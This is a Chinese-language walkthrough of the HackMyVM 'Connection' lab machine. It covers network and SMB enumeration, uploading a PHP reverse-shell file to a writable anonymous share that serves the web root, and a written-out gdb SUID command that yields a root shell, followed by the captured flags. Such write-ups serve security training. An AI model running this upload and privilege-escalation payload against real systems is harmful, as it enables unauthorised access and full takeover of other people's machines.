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目录

信息收集

arp

nmap

WEB

web信息收集

dirsearch

smbclient

put shell

提权

系统信息收集

suid gdb提权

信息收集

arp

┌─[root@parrot]─[~/HackMyVM]
└──╼ #arp-scan -l
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:16:3d:f8, IPv4: 192.168.9.115
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.116  08:00:27:6e:05:4c  PCS Systemtechnik GmbH4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.048 seconds (125.00 hosts/sec). 4 responded

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nmap

端口扫描┌─[root@parrot]─[~/HackMyVM]
└──╼ #nmap -p- 192.168.9.116 --min-rate 10000 -oA ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 08:30 GMT
Nmap scan report for 192.168.9.116
Host is up (0.00019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:6E:05:4C (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 2.34 seconds

服务版本扫描┌─[root@parrot]─[~/HackMyVM]
└──╼ #nmap -sC -sV -O -p 22,80,139,445 192.168.9.116 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 08:31 GMT
Nmap scan report for 192.168.9.116
Host is up (0.00076s latency).PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)
|   256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)
|_  256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:6E:05:4C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-time: 
|   date: 2024-04-16T08:31:13
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: connection
|   NetBIOS computer name: CONNECTION\x00
|   Domain name: \x00
|   FQDN: connection
|_  System time: 2024-04-16T04:31:13-04:00
|_nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.06 seconds

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WEB

web信息收集

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dirsearch

┌─[root@parrot]─[~/HackMyVM]
└──╼ #dirsearch -u http://192.168.9.116/ -x 403,404_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/HackMyVM/reports/http_192.168.9.116/__24-04-16_08-35-12.txtTarget: http://192.168.9.116/[08:35:12] Starting: Task Completed

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smbclient

┌─[root@parrot]─[~/HackMyVM]
└──╼ #smbclient -L 192.168.9.116//
Password for [WORKGROUP\root]:
Anonymous login successfulSharename       Type      Comment---------       ----      -------share           Disk      print$          Disk      Printer DriversIPC$            IPC       IPC Service (Private Share for uploading files)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successfulServer               Comment---------            -------Workgroup            Master---------            -------WORKGROUP            CONNECTION

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┌─[root@parrot]─[~/HackMyVM]
└──╼ #smbclient \\\\192.168.9.116\\share
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir.                                   D        0  Wed Sep 23 01:48:39 2020..                                  D        0  Wed Sep 23 01:48:39 2020html                                D        0  Wed Sep 23 02:20:00 20207158264 blocks of size 1024. 5460488 blocks available
smb: \> cd html
smb: \html\> ls.                                   D        0  Wed Sep 23 02:20:00 2020..                                  D        0  Wed Sep 23 01:48:39 2020index.html                          N    10701  Wed Sep 23 01:48:45 20207158264 blocks of size 1024. 5460488 blocks available
smb: \html\> get index.html 
getting file \html\index.html of size 10701 as index.html (2612.5 KiloBytes/sec) (average 2612.5 KiloBytes/sec)
smb: \html\> 

这里应该是网站的根目录，我们下载html文件查看一下！

发现就是源文件！

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put shell

我们尝试在此上传一个php反弹shell的木马！

smb: \html\> put shell.php
putting file shell.php as \html\shell.php (360.9 kb/s) (average 360.9 kb/s)
smb: \html\> ls.                                   D        0  Tue Apr 16 09:26:37 2024..                                  D        0  Wed Sep 23 01:48:39 2020index.html                          N    10701  Wed Sep 23 01:48:45 2020shell.php                           A     2587  Tue Apr 16 09:26:37 20247158264 blocks of size 1024. 5460480 blocks available
smb: \html\> 

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提权

系统信息收集

获取稳定的交互shellpython3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xterm

www-data@connection:/home/connection$ ls
ls
local.txt
www-data@connection:/home/connection$ cat local.txt
cat local.txt
3f491443a2a6aa82bc86a3cda8c39617
www-data@connection:/home/connection$ 得到user.txt

www-data@connection:/home/connection$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/gdb
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpass

这里 gdb 被设置了为suid权限！

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suid gdb提权

payload:gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit

www-data@connection:/$ gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit
gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".
Type "apropos word" to search for commands related to "word".
sh-5.0# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

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sh-5.0# cd /root
cd /root
sh-5.0# ls
ls
proof.txt
sh-5.0# cat proof.txt
cat proof.txt
a7c6ea4931ab86fb54c5400204474a39
sh-5.0# 

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